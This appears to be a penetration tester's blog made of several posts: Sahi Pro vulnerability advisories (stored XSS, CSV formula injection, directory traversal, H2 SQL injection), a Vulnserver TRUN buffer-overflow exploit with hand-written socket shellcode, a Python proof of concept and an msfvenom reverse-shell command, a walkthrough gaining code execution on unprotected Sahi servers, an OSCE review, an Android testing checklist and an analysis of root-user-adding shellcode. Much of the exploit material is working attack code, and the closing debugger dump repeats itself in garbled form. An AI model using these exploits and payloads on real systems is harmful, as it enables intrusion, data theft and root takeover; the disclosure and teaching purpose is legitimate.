CVE-2018-20472 – Sahi pro ( <= 8.x ) Stored XSS

Sahi Pro web interface is  vulnerable to a Stored XSS . Exploiting this bug needs a prior knowledge of the end to end flow and basic scripting of sahi pro .

Sahi pro is a web application automation tool which helps automation testers to automate their web application tasks . It makes it very easy for end users with their readily available API functions . an end user can create a sahi script either by using their sahi programming language ( similar to javascript ) or can use ruby . We will use sahi language itself for this demo.

Sahi has some interesting features such as web application interface which aggregates all the reports for the sahi script execution tasks. It was found that

Here is the Proof of concept for the same:

fig 1 : sahi script containing XSS payload

Here we have created a simple sahi script which uses a testcase API .

var $tc1 = _testcase(“TC-1″,”<script>alert(document.cookie)</script>”).start();

_log(“testing stored XSS injection”);


In the testcase API , as per the documentation provided accepts two parameters ,first one being testcase ID and second one test case description . Both values are reflected back in the web reports  which triggers the XSS vulnerability . save the file as “filename.sah”  and with the help of sahi controller execute the script.

Fig 2 : execute the script in the controller

Now navigate to the executed report in the web report console . XSS is triggered .

  Fig 3 ,4 : Stored XSS triggers .

Disclosure timeline :

Reported on : 8 / December / 2018

fix is not available  as on this published date .

Affected versions : all versions of sahi pro ( <= 8.x ) (web application automation )

vendor website :


CVE-2018-20470 – Sahi pro ( <= 8.x ) Directory traversal

Sahi pro is a application automation tool which is quite popular among automation testers . ( )   being a former automation tester who transitioned to penetration testing,  who heavily relied on sahi pro for my automation activities. An idea raced in my mind , why not combine both and start hunting for some security bugs in their products. And here is one of the issue i found in their product.

sahi pro has some interesting feature such  a web reporting interface and web editor which combined and forms report module which aggregates all the automated test execution / suite .  It was found that we can view the source code of any sahi file in the editor to check debug logs, where it highlights failed line or execution flow etc

report interface url can be found at the following location :


In the web editor module , it was observed that there  exists a directory traversal vulnerability which allows any user on the same network to view any files on the victim machine running sahi pro automation software. sahi pro allows users to restrict file access for scripts in their configuration file, but this particular module seems to be vulnerable due to lack of server side validations.

Proof of concept  :

Fig 1 :  shows the reports module which displays and highlights the source code of sahi script file for debugging .

here the get parameter href is vulnerable to directory traversal.

Here href get parameter is referring to location :


if its modified to href=../../supersecret/password.txt , contents of crucial internal files of the victim machine.

Fig 2 : vulnerable to directory traversal.

another snapshot which disclose contents of win.ini file

Fig 3 : vulnerable to directory traversal.

URL vulnerable :


Disclosure timeline :

Notified on : 8 / December / 2018

suggested quick fix till the official patch is released : password protect web reports module

Affected versions : all versions of sahi pro ( <= 8.x ) (web application automation )

vendor website :

CVE-2018-20468 – Sahi pro ( <= 8.x ) CSV Injection

This is one of the low risk bug which was found in Sahi Pro. Reports web interface allows a user to export the executed automation scripts/suite in excel format. It is possible to inject the excel formula which results in command execution on the victim who exports it .

Proof of concept :

excel formulas can be injected inside the sahi script as shown previously with stored XSS inside a testcase API as follows.

 script used :

var $tc1 = _testcase(“TC-1″,”=SUM(1+1)*cmd|’ /C calc’!A0”).start();

_log(“testing csv injection”);


Execute the following sahi script and take export of the report as follows :

 Fig : executed sahi script with formula injection.

Fig : victim opens the file and clicks yes on warning and the code                                         executes on victim machine .

Disclosure timeline :

Notified on : 8 / December / 2018

Fix is not available as on published date.

Affected versions : all versions of sahi pro ( <= 8.x ) (web application automation )

vendor website

CVE-2018-20469 – Sahi pro ( <= 8.x ) SQL Injection

An issue was discovered in Tyto Sahi Pro ( <= 8.x )
A parameter in the web reports module is vulnerable to h2 SQL injection. This can be exploited to inject SQL queries and run standard h2 system functions.

It was found in sahi reports web interface,whenever we search for a particular report using search field , direct sql query was passed as part of GET request. This query can be manipulated to dump internal details such as database name ,database path , read files using h2 system functions , user details , schema details and other critical information related to the internals of sahi database to external adversary  on same network.

Proof of concept :

              Fig 1 : sql query is directly passed as part of GET request


Sahi web reports interface allows an end user to search for a report based on its name. This user supplied parameter is converted into a SQL query and is directly passed as part of URL as shown in figure 1.

As sahi is using H2 database to store the reports and other data, an end user can exploit this scenario to run h2 database system functions by manipulating the passed SQL query .

               Fig 2 : leak of memory used by sahi application ( memory_used() )

Modified URL :


           Fig 3 : leak of database path by sahi application ( database_path() )

Modified URL:


       Fig 4 : leak of current database user by sahi application ( user() )

Modified URL: 


All h2 system functions can be used to abuse and leak more sensitive  information by un-authenticated user .

Disclosure timeline :

disclosed on : 8/ December / 2018

Fix is not available as on published date.

suggested quick fix till the official patch is released : password protect web reports module

Affected versions : all versions of sahi pro ( <= 8.x ) (web application automation )

vendor website :

Exploiting Vulnserver TRUN command using Socket Reconstruction technique

Its been a considerable amount of time since my last OSCE review blog post. ( it does deserve few weeks of rest! uff! ) In this article we will look at how to exploit Vulnserver TRUN command which is vulnerable to buffer overflow using one of the technique that i learnt during preparation for OSCE. We will look at how to exploit Vulnserver using socket reconstruction which involves sending two stager payload.

What will not be covered in this article ?

Fuzzing vulnserver TRUN command , getting control of EIP are not covered in this article ( which are found nearly everywhere! )

What will be covered in this article?

Writing a custom shellcode which involves recreation of socket functionality and leveraging it to gain a reverse shell.

Some basic prerequisite information :

Anatomy of calling a x86 windows syscall :

In x86 windows, calling a syscall requires us to follow the following process.for example lets consider we need to call the following syscall :

syscallExA(Parameter A , Parameter B) 

in order to call syscallExA , we need to first push the required parameters to stack in reverse order .( that is push B then push A ) . Finally we need to move the address of syscallExA onto a register , then finally CALL the register.

It can be pictured as follows ,



MOV EAX, address of syscallExA


and after the syscall executes , return value is stored in EAX register.

What is socket reconstruction technique?

Socket reconstruction technique leverages the fact that in certain client – server application , it would have already loaded the socket related DLL file required onto its memory . This can further be used for exploiting a buffer overflow vulnerability on that application . We mimick the server ability to construct a socket from initial stages to listening for incoming connection from attacker. at this point of time, attacker can send his second stager payload which is a larger reverse shell payload and gets a reverse shell once executed.

Note : victim box is windows xp SP3 ( NO ASLR and DEP in consideration )

The flow :

We follow the following plan as follows ,

We overwrite the EIP register with JMP ESP pointer as we know ESP points to our payload.

First stage payload :

> We create a new socket with the help of Socket Syscall found in WS2_32 dll which is already loaded in memory.

 > created socket is then bind to a different port of our choice using bind syscall.

>   We listen on the bind port for incoming connection from attacker using listen syscall.

> Accept the incoming connection using Accept syscall.

 > Finally receive the second stage payload ( reverse shell ) using recv syscall.

Second Stage payload :

Its a  payload of our choice . ( we will use a reverse shell payload from msfvenom )

Before we can Proceed , As noted earlier , we need to know the address of the required socket functions inside WS2_32 DLL file. we can do the following as follows to get it .

1 . In the debugger ( i use immunity debugger ) , rightclick > view > module ‘vulnserv’

2 . rightclick > search for > all intermodular calls 

3 . we will see all intermodular calls from this module to all other modules loaded . look for call to  socket function from ws2_32 dll file .

4. Follow the function in disassembler . and note all the required functions we need for creating our custom shell code .

In our case we need the following addresses for the functions :

0040257C  -FF25 FC614000    JMP DWORD PTR DS:[<&WS2_32.socket>]      ; WS2_32.socket

00402564  -FF25 D8614000    JMP DWORD PTR DS:[<&WS2_32.bind>]        ; WS2_32.bind

00402554  -FF25 F0614000    JMP DWORD PTR DS:[<&WS2_32.listen>]      ; WS2_32.listen

0040254C  -FF25 D4614000    JMP DWORD PTR DS:[<&WS2_32.accept>]      ; WS2_32.accept

0040252C  -FF25 F4614000    JMP DWORD PTR DS:[<&WS2_32.recv>]        ; WS2_32.recv

Lets start with Socket syscall . according to MSDN :

From the Microsoft Docs ,

SOCKET WSAAPI socket( int af, int type, int protocol );

Function takes three parameters , first one address family  ( 2 for IPv4 ) , second type of socket ( we use 2 (SOCK_STREAM  ) ) , and finally protocol (TCP (6))

so our socket call would be as follows :

socket(2, 1, 6)

We have to push the parameters onto stack in reverse order and finally move the socket function address to a register and finally call the register.

And here is the custom shellcode for the following syscall :

83EC 40          SUB ESP,40 #for moving away from EIP

33C0             XOR EAX,EAX
B0 06            MOV AL,6
50               PUSH EAX
B0 01            MOV AL,1
50               PUSH EAX
40               INC EAX
50               PUSH EAX
BB 777C2540      MOV EBX,40257C77 
C1EB 08          SHR EBX,8
FFD3             CALL EBX
8BF8             MOV EDI,EAX

We see that first we move the ESP to a location far from EIP to prevent stack corruption . We initially clear out register using XOR operation and push the required parameters onto the stack. Finally we move address of socket function onto EBX and call it. Notice we had the function address at 0040257C , since the address contains null ( which is bad for our shellcode! ) , we make use of SHR operation which would shift right by 8 bits and hence reintroduce the required “00” .  finally return address is stored onto EAX register after syscall. we move it to EDI so we can use it further for other operations.

Lets move to the bind syscall :

According to MSDN, bind accepts three parameters as follows.

bind(socket handle,socket addr struct,16)

Here is the shellcode snippet for the same :

33C0             XOR EAX,EAX
50               PUSH EAX
50               PUSH EAX
54               PUSH ESP
59               POP ECX
C601 02          MOV BYTE PTR DS:[ECX],2 #AF_INET value (2) IPV4
C641 03 14       MOV BYTE PTR DS:[ECX+3],16 #listen on port 22
6A 16            PUSH 16
51               PUSH ECX
B3 64            MOV BL,64
57               PUSH EDI
FFD3             CALL EBX

First we construct our socket addr structure. we do this by zeroing out the registers and pushing two DWORD of zeros then finally getting the address of the pushed values onto ECX registers. then we finally manipulate the values stored at ECX. we know that sock addr requires type of address family ( 2 ) and finally port to bind to ( in this case lets choose port 22 , feel free to use any non free port number to bind to ) . we manipulate the values as desired at ECX.

FInally we push the parameters in reverse order. And since all the socket function address are closer to each other and have similar , we just have to modify lower 8 bits of EBX(it currently holds address of socket function ) , BL to 64 and finally call the register.

Listen Syscall :

int WSAAPI listen( SOCKET s, int backlog );

Listen is relatively simple syscall as it only takes two parameters . socket descriptor and finally a backlog counter.

B3 54            MOV BL,54
6A 7F            PUSH 7F
57               PUSH EDI
FFD3             CALL EBX

Accept syscall :

SOCKET WSAAPI accept( SOCKET s, sockaddr *addr, int *addrlen );

accept function takes three parameter, in our case we can set last two parameters to null.  accept syscall also return a client socket descriptor that we need for further recv call .

50               PUSH EAX
50               PUSH EAX
57               PUSH EDI
0B3 4C           MOV BL,4C
FFD3             CALL EBX

Recv Syscall :

Finally recv syscall accepts the second stage payload and has the following definition :

int recv( SOCKET s, char *buf, int len, int flags );

Recv syscall takes 4 parameters , first one is client socket descriptor which was received from previous accept syscall , followed by address of the location to receive and store the user data followed by its length and finally flags ( we can set it to NULL) .

here is our custom shellcode for this :

8BF8             MOV EDI,EAX
33C0             XOR EAX,EAX
50               PUSH EAX
B4 02            MOV AH,2
50               PUSH EAX
54               PUSH ESP
59               POP ECX
66:83C1 5E       ADD CX,5E
66:83C1 5E       ADD CX,5E
66:83C1 10       ADD CX,10
51               PUSH ECX
57               PUSH EDI
B3 2C            MOV BL,2C
FFD3             CALL EBX

First we zero out and move the FLAGS ( NULL ) onto the stack followed by setting 2 onto AH ( makes length 512 bytes ) and pushing it . Main part of this custom shellcode begins here. we need to push *buff  that is address to receive the second stage shellcode. we will calculate it with reference to ESP position . and we need to also make sure , location to receive the payload should be address ahead of current EIP . so what would happen is , once it executes the recv syscall , our reverse shell payload is received and stored in this location specified by *buff , and EIP continues its execution till it reaches our reverse shell and finally executes it .  Finally we move client sock address received from accept syscall and call it.

This marks the end of our first stage custom shellcode implementing the socket reconstruction . finally , our we send our second stage shellcode after waiting for a second or two to port 22 . and we get our reverse shell .

Second stage shell code can be generated with the help of msfvenom as follows :

msfvenom -p windows/shell_reverse_tcp LPORT=4444 LHOST="" EXITFUNC=thread -b "\x00" -f c

here is the complete PoC for the same :

import os
import socket
import sys
from time import sleep

host= ""
port= 9999

socket_call = "\x83\xEC\x40\x33\xC0\xB0\x06\x50\xB0\x01\x50\x40\x50\xBB\x77\x7C\x25\x40\xC1\xEB\x08\xFF\xD3\x8B\xF8"

bind_call = "\x33\xC0\x50\x50\x54\x59\xC6\x01\x02\xC6\x41\x03\x16\x6A\x10\x51\xB3\x64\x57\xFF\xD3"

listen_call = "\xB3\x54\x6A\x7F\x57\xFF\xD3"

accept_call = "\x50\x50\x57\xB3\x4C\xFF\xD3"

recv_call = "\x8B\xF8\x33\xC0\x50\xB4\x02\x50\x54\x59\x66\x83\xC1\x5E\x66\x83\xC1\x5E\x66\x83\xC1\x10\x51\x57\xB3\x2C\xFF\xD3"

#msfvenom -p windows/shell_reverse_tcp LPORT=4444 LHOST="" EXITFUNC=thread -b "\x00" -f c

rev_shell = (


buffer = 'TRUN .' +"A"*2006 + "\xaf\x11\x50\x62"+"\x90"*20+ socket_call+ bind_call+listen_call+accept_call+recv_call+"\x90"*(351-len(socket_call)-len(bind_call)-len(accept_call)-len(listen_call)-len(recv_call))+"\x90"*15+'\r\n'

final_payload = "\x90"*10 + rev_shell

conn = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

print conn.recv(1024)

print "sending stager 1 payload "

print "sleeping for few seconds..."
print "connecting to bind socket on port 22.."

con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "sending final payload ! set your netcat listener!"

Execute and finally get a reverse shell .

My Github repo containing The POC and other resources :

And all the technique credits goes to this source!


Hope you enjoyed this article . Until next time! 🙂 good day!

Offensive Security Certified Expert ( OSCE ) certification review

Hi All, Its been really a long gap since i posted last content on my blog . As i had been busy with one of the certification courses that i dreamed a long time back to achieve . Now since the mission is accomplished ( finally!! ), i thought of writing a small review post that may help the future aspirants to know bits and pieces  during / before they start their journey. Lets begin!

I shall keep this post short and precise to the point in the form of FAQ’s .

Course link :


Should i need to know assembly and shellcoding ?

Certainly Yes! I started my preparation with SLAE x86 course from pentesteracademy . It was a major booster for me during the course as i was able to grasp the content very easily.

SLAE x86 course :

Pro tip : complete all assignments on your own! even if you do not want to submit for certification.

(do check out SLAE x86 assignment blog posts on this blog for reference )

Should i need to know coding/programming?

    1. You should have some coding/scripting skill  in any of your preferred language  . I am not sure i would have completed this course without my development skills. Its not mandatory , but if you can grasp/analyse the flow and can read the code and understand , it will take you a long way . It also helps you automate part of few tedious process to make your job easier.

Should i need to know basics of exploit development ?

You should know how to exploit a basic vanilla buffer overflow at bare minimum .

Even though the course teaches you all you need to know , doing homework and preparing enough will help you to grasp the content very easily . These two resource links is all you need to prepare well ( weighed in gold! ).

Fuzzy security windows exploit dev tutorials ( read till ROP / till part 7 ) :

Corelan exploit development tutorials :

Check out here 

I hear people talk a lot about what fuzzer to use etc, what are they and what i need to know?

Fuzzers are just automated modules that can help you in finding the buffer overflow vulnerability in different application . it sends lots of different input(and/or different length ) to the application and helps you analyse the output to find if the application is vulnerable to BoF or not.

CTP Course teaches you in detail how to setup and use them. These are the popular fuzzers that  you may need to know that can help you in the course . use what seems comfortable to you.

  1. Spike

  2.  Boofuzz

What articles can i refer for backdooring / AV bypass courseware syllabus part?

Art of Anti Detection 2 PE backdoor manufacturing

few other important links that might help preparing for the course or for improvising skill?

craving shellcode using restrictive characterset

After completing the course where can i practice ?

Practice all different exploitation techniques by recreating random BoF exploits from exploit-DB .

Practice by setting up vulnserver in your local environment and by exploiting all the commands .

here you can find few different  exploits i developed during my course ware/preparation . ( need to update few more to the repo ,will do it soon!).

Key here is to learn to exploit an application in multiple ways.

How was the CTP courseware ?

Even though everybody complains that the course materials are bit dated, i found it to be valuable and it increased my knowledge tenfolds . It forces the student to explore more than giving it out easily ( offsec Style! )

I wouldnt be going into the details , just knowing the syllabus alone gives the reader an idea what is taught in the course. Unlike OSCP labs , labs in OSCE is totally different.  Each student is allocated a dedicated set of machines that can be leveraged in completing tasks taught in the course. Do all the exercises at least thrice until you are confident enough with the concepts. Course also includes a bit of web application vectors (XSS/LFI) and network attacks as well.

How was the exam?

Brutal! a complete 48 hour marathon !  I completed two high pointer tasks quite early in my first day of the exam and was stuck on a low pointer which showed me nightmare and threw me into total disbelief about my approach. I had enough points to pass at around 29th hour into the exam.

It was followed by a exhaustive report ( nearly 100 pages !! ) and finally after 4 days offsec confirmed that i have cleared the certification exam!

Your final thoughts?

This course was fun and challenging . This has paved a new way for my curious  mind.  Even though using the techniques taught in the course, you cannot exploit modern systems or cannot evade all modern antivirus systems , it teaches you strong foundation which can be used to build/enhance/grasp further skills and advanced topics .

Thats it for now! Shubha dina 🙂

Android Application Security Testing checklist

Hello! This post contains few major checklists that are collated from my experience in penetration testing android mobile applications.

This post also helps you to push in right direction to setup your android pentest environment too.

And please note that this list is non exhaustive and made for fellow pentesters to give a quick checklist for android mobile app pentesting.

I use Android virtual device(AVD) from android studio to perform business logic / functionality security test.

download latest android studio followed by SDK for the same from here :

you can find many tutorials online on how to setup android studio. so i will skip that part.

Once done, open the apk file in android studio , and look at androidManifestFile.xml for major mis-configuration checks.

permission checklist :

  1. android.permission.WRITE_EXTERNAL_STORAGE should be false. if it is set to true, allows an application to modify/delete SD card contents .
  2. debuggable flag should be set to false in a production system. if it is set to true, sensitive information can be extracted by an attacker with physical access to mobile .
  3. android.permission.GET_TASKS should be false.  if it is set to true, application will be able to retrieve information about other currently running tasks.
  4. android.permission.WAKE_LOCK should be false in most cases unless there is a huge data sync between app and the back end service . if set to true, it Allows an application to prevent the phone to goto sleep.
  5. backup flag android:allowBackup should be explicitly set to false in the manifest file. by default , it is set to true and this results in , anyone can backup data through ADB shell. cmd : adb backup -f app_backup.ab -apk <<com.myapp>>

Decompile/reverse apk file using apktool :

cmd :

apktool d <<myapkfile.apk>>

check for any interesting library files or source files that are exposed.

check for any platform specific config files ( example : for apps developed using apache cardova  check for config.xml) and verify its permissions

for example, apps developed using cardova ,

  1. check if whitelist plugin is enabled to prevent against cross site scripting attacks(XSS)

 >> check for SSL pinning , to verify if we can intercept SSL traffic using an user generated cert.

(note : android API < 23 accepts user generated certs , for building a test environment for dynamic analysis , generate a burp CA certificate and install it on android and verify if you are able to intercept SSL traffic.)

steps to intercept SSL traffic ( API < 23 ) using user generated SSL certificate on an android device :

1 . get CA cert from burp

2. move the cacert.cer to android virtual device

3. go to settings > security > set up screen lock using pin and set up pin.

4.  go to settings > security > install certificate from SD card and install the copied certificate.

5. now setup a burp proxy to listen to on all interfaces on a specific port ( ex:  port 8081 )

6. now go to launched android virtual machine proxy setting and set the listening burp proxy . now you should be able to intercept SSL traffic from your mobile application for further dynamic analysis.

Dynamic analysis :

Every application is unique and has its own business logic. critical issues come from improper business logic , so understanding of application flow is the main key for further security analysis. here, from parameter manipulation to privilege escalations , everything is in valid scope and dependent on application logic..however,in addition to that, here are the few things to check

> check for unauthenticated API service calls and resource calls which leads to easy privilege escalations and sensitive data exposure.

> check for any juicy contents from extracting db file(if present) which may reveal credentials and other sensitive data.

(note : normally appln specific db files are stored at /data/data/apppackagename/databases/databasename.db)

once you get the database file , copy it to host system and analyse using db browser for SQLite   for  juicy info . ( adb pull <<dbfile>>.db )

(note : adb file location : Android\Sdk\platform-tools\adb.exe)

> monitor and look out for juicy debugging logs, sensitive information with the help of ADB logcat.

$ adb shell
# logcat

you can also write or log only specific logs to your application , check out android dev community for proper syntax.

And finally last but not least , you can install and  run awesome tools such as MobSF (  for automated static and dynamic analysis and neat  reports for the same.

(Note : this list is non exhaustive and I am in no way responsible for using the above information in any unlawful way. )

Hope you enjoyed the quick checklist . Thats it for today! Shubha dina! 🙂




Pawning misconfigured sahi pro automation servers

Hi All . Today I will explain how to pawn a misconfigured sahi pro automation server.

What is sahi pro?

Sahi pro is one of the popular leading automation tool which helps enterprises to automate their web application , desktop and mobile application scenarios .

It is a tough competent to other automation tools such as QTP and selenium . As per my experience sahi pro is much better than the other tools mentioned in few aspects ( object spy and relative API’s ).

Sahi pro allows automation testers to write code either with  their sahi language ( wrapper to JS with awesome full fledged API’s ) , ruby etc

I being a former automation test engineer would recommend their sahi language to automate test scenarios.

In this post ,we will concentrate on web application automation aspect.

Sahi has some other nice extra features ( *interesting* ) such as web based text editor, configuration and web based reports console , remote machine executions on same network.

Why would one keep sahi pro running everytime?

In an enterprise environment , there would be unattended suite executions running all time . which can extend 8 – 24 hrs without monitoring!  . A perfect scenario for any attacker or an internal pentester .

What do you mean by “misconfigured” ?

Sahi allows end users to set a password to these web portal which is neglected majority of times by an end user . (Trust me on this! i have seen too many times. Many do not even know they can set password to these portals!) ( hope sahi also adds a bruteforce proof login forms from next release. )

This looks promising. how much can we get out of this ?

We will see how to gain remote code execution on the target machine running sahi pro with this simple misconfiguration.

So basically , if we need to gain remote code execution on these servers we can divide our tasks as following steps.

  1. Upload a malicious sahi script which executes our desired commands.
  2. find a way to execute these scripts remotely on same network.
  3. Finally find a way to fetch results of our task .

Step 1 : upload a malicious sahi script

As i have specified earlier , sahi has a web based editor to create our script and suite files.  by default sahi runs on port 9999 .

we can access this portal across the network . lets access a remote web portal and create our malicious sahi file.

Fig 1 : shows the created  malicious sahi script .

here is the code for malicious sahi script :

var $tc1 = _testcase("TC-1","lets get some code execution. ").start();

$cmd_output1 = _execute("whoami" , true )
$cmd_output2 = _execute("ipconfig",true )

_log("command output1 : "+ $cmd_output1);

_log("command output2 : "+ $cmd_output2);


sahi is very similar to javascript ( we can directly call JS native code in our sahi script ) . each sahi script has extension “.sah” . here we have created a fie called rce.sah .

sahi has similar syntax same as javascript. functions which start with “_” are API’s provided by sahi pro. there are hundreds of API’s available to make our task easier . ( )

in our code we have used a testcase API to make it run as a single testcase (uniform reporting ). We make use of “_execute” API which helps us to execute system commands and external files ( bat, sh etc).

From sahi documentation , this API has following syntax :

_execute($cmd[, $isSync[, $timeout]])

First parameter takes command to be executed . and second parameter is set to true for us ( isSync = true ) so result is returned only on completion of command.  This API returns the result of the command as string.

we finally print the resultant command output using “_log” API.

Step 2 : Find a way to execute the created malicious file 

Each sahi pro installation comes with a “testrunner” file which helps us to give suite executions or execute scripts through command prompt.

Suite files are files which contain bunch of sahi script names to be executed in it (” *.suite “)  . they are very useful for complex scenarios which involve multiple sah files .

by default we can execute only suite/sahi files on our machines using testrunner.bat file . we can modify it to execute scripts on remote machines by editing content of file . change host and port parameter from  “localhost” “9999” in the file to make it either parameterized or hard code it to value we want . (testrunner.bat file is in location userdata/bin/testrunner.bat)

in our case :

modified line :

java -cp %SAHI_HOME%\lib\ant-sahi.jar %CUSTOM_FIELDS% -isNonDistributedRun true -scriptsPathMaster %SCRIPTS_PATH% -suite %1 -browserDeviceParams %3 -logsInfo “%LOGS_INFO%” -baseURL “%START_URL%” -host -port 9999 -threads %THREADS% -abortedRetryCount %ABORTED_RETRY_COUNT% -failureRetryCount %FAILURE_RETRY_COUNT% -useSingleSession %SINGLE_SESSION% -sendEmail %SEND_EMAIL_REPORT% -emailTrigger “%EMAIL_TRIGGER%” -emailProperties “%EMAIL_PROPERTIES%” -sendEmailPeriodically “%SEND_EMAIL_REPORT_PERIODICALLY%” -sendEmailPeriodicallyTime “%SEND_EMAIL_REPORT_PERIODICALLY_TIME%” -emailPasswordHidden “%EMAIL_PASSWORD_HIDDEN%” -showPeriodicSummary %SHOW_PERIODIC_SUMMARY% -tags %4

So we should have a sahi installation on our system too to execute this ?

since sahi also have open source version ( download it for free!)

Nope! we will see how to skip that later.

Now lets execute it on our remote system using testrunner.bat !

command format :

testrunner.bat rce.sah ie

first parameter is the file to be executed , second parameter specifies start URL and finally third one specifies type of browser to be executed on remote systems.

( remember I specified we do not need to install sahi pro? from the above screenshot , we can see our script has converted our task to a http request url! grab it and just modify the script name and host name to use it remotely without installation of sahi on attacker machine )

Step 3 : fetch the results of our execution.

Once our status returned is success . we can see the results on reports portal .

Now lets see the report for our specific task execution :

We get code execution!  awesome ! we can enhance this to get a reverse shell , by uploading another powershell script and calling through this malicious sahi file. ( as no restriction in type of file being created . )


How can i harden my sahi instance against such attacks?

>> password protect sahi pro web portals . change the default credentials to  strong credentials

>> define a fine granular file access provided in sahi pro configuration.

Shubha dina! 🙂


Linux/x86 msfvenom add user shellcode analysis

Lets take up another shellcode from msfvenom. we will take up payloads/linux/x86/adduser for analysis. Lets see the payload options available.

root@kali:~# msfvenom -p linux/x86/adduser --payload-options
Options for payload/linux/x86/adduser:

       Name: Linux Add User
     Module: payload/linux/x86/adduser
   Platform: Linux
       Arch: x86
Needs Admin: Yes
 Total size: 97
       Rank: Normal

Provided by:
    skape <>
    vlad902 <>
    spoonm <spoonm@no$>

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
PASS   metasploit       yes       The password for this user
SHELL  /bin/sh          no        The shell for this user
USER   metasploit       yes       The username to create

  Create a new user with UID 0

We see that it takes two parameter , USER and PASS . lets pipe the raw shellcode to ndisasm for analysis.

root@kali:~# msfvenom -p linux/x86/adduser USER=goutham PASS=goutham -f raw | ndisasm -u -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 94 bytes

00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E825000000        call 0x50
0000002B  676F              a16 outsd
0000002D  7574              jnz 0xa3
0000002F  68616D3A41        push dword 0x413a6d61
00000034  7A51              jpe 0x87
00000036  7945              jns 0x7d
00000038  50                push eax
00000039  754E              jnz 0x89
0000003B  306533            xor [ebp+0x33],ah
0000003E  7955              jns 0x95
00000040  3A30              cmp dh,[eax]
00000042  3A30              cmp dh,[eax]
00000044  3A3A              cmp bh,[edx]
00000046  2F                das
00000047  3A2F              cmp ch,[edi]
00000049  62696E            bound ebp,[ecx+0x6e]
0000004C  2F                das
0000004D  7368              jnc 0xb7
0000004F  0A598B            or bl,[ecx-0x75]
00000052  51                push ecx
00000053  FC                cld
00000054  6A04              push byte +0x4
00000056  58                pop eax
00000057  CD80              int 0x80
00000059  6A01              push byte +0x1
0000005B  58                pop eax
0000005C  CD80              int 0x80

we see there are totally four syscalls. we can recognize last one very easily. its an exit syscall . seems like its just a cleanup operation. lets check out what first syscall is. 0x46 is 70 in decimal. i.e,

root@kali:~# cat /usr/include/i386-linux-gnu/asm/unistd_32.h| grep 70
#define __NR_setreuid 70

its setreuid ..according to its man page,

setreuid() sets real and effective user IDs of the calling process.

so since ebx and ecx register is set to 0 before calling interrupt, it is setting  that of root. this helps us in our further task of adding a root user ( we need this privilege to write passwd file).

Second syscall is fairly straight forward, its an open sys call ( 5 )

root@kali:~# cat /usr/include/i386-linux-gnu/asm/unistd_32.h| grep 5
#define __NR_open 5
int open(const char *pathname, int flags);

From man page, we can see it takes two argument . first one , file name and second one is the flags defines mode of operation associated . from the shellcode its clear , ebx is pointed to string “/etc//passwd”

0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80

and also , ecx is pushed with value 0x0401(1025) which points out flags set are write and append

since open returns file descriptor of file being operated on . since return value is stored in eax its moved to ebx. next we see some weird instructions .but syscall points out its a  write sys call . (5) lets run the same pgm in gdb and check before interrupt is called for this write syscall.

EAX: 0x4 
EBX: 0x3 
ECX: 0x40206b ("goutham:AzQyEPuN0e3yU:0:0::/:/bin/sh\nY3Q4j

EAX: 0x4 
EBX: 0x3 
ECX: 0x40206b ("goutham:AzQyEPuN0e3yU:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀")
EDX: 0x25 ('%')
ESI: 0xb7faa000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0xbffff2d8 --> 0x0 
ESP: 0xbffff2ac ("/etc//passwd")
EIP: 0x402097 --> 0x16a80cd
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
0x402093 <code+83>:	cld    
0x402094 <code+84>:	push   0x4
0x402096 <code+86>:	pop    eax
=> 0x402097 <code+87>:	int    0x80
0x402099 <code+89>:	push   0x1
0x40209b <code+91>:	pop    eax
0x40209c <code+92>:	int    0x80
0x40209e <code+94>:	add    BYTE PTR [eax],al
0000| 0xbffff2ac ("/etc//passwd")
0004| 0xbffff2b0 ("//passwd")
0008| 0xbffff2b4 ("sswd")
0012| 0xbffff2b8 --> 0x0 
0016| 0xbffff2bc --> 0x40059d (<main+80>:	mov    eax,0x0)
0020| 0xbffff2c0 --> 0x1 

EAX: 0x4 
EBX: 0x3 
ECX: 0x40206b ("goutham:AzQyEPuN0e3yU:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀")
EDX: 0x25 ('%')
ESI: 0xb7faa000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0xbffff2d8 --> 0x0 
ESP: 0xbffff2ac ("/etc//passwd")
EIP: 0x402097 --> 0x16a80cd
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
0x402093 <code+83>:	cld    
0x402094 <code+84>:	push   0x4
0x402096 <code+86>:	pop    eax
=> 0x402097 <code+87>:	int    0x80
0x402099 <code+89>:	push   0x1
0x40209b <code+91>:	pop    eax
0x40209c <code+92>:	int    0x80
0x40209e <code+94>:	add    BYTE PTR [eax],al
0000| 0xbffff2ac ("/etc//passwd")
0004| 0xbffff2b0 ("//passwd")
0008| 0xbffff2b4 ("sswd")
0012| 0xbffff2b8 --> 0x0 
0016| 0xbffff2bc --> 0x40059d (<main+80>:	mov    eax,0x0)
0020| 0xbffff2c0 --> 0x1 
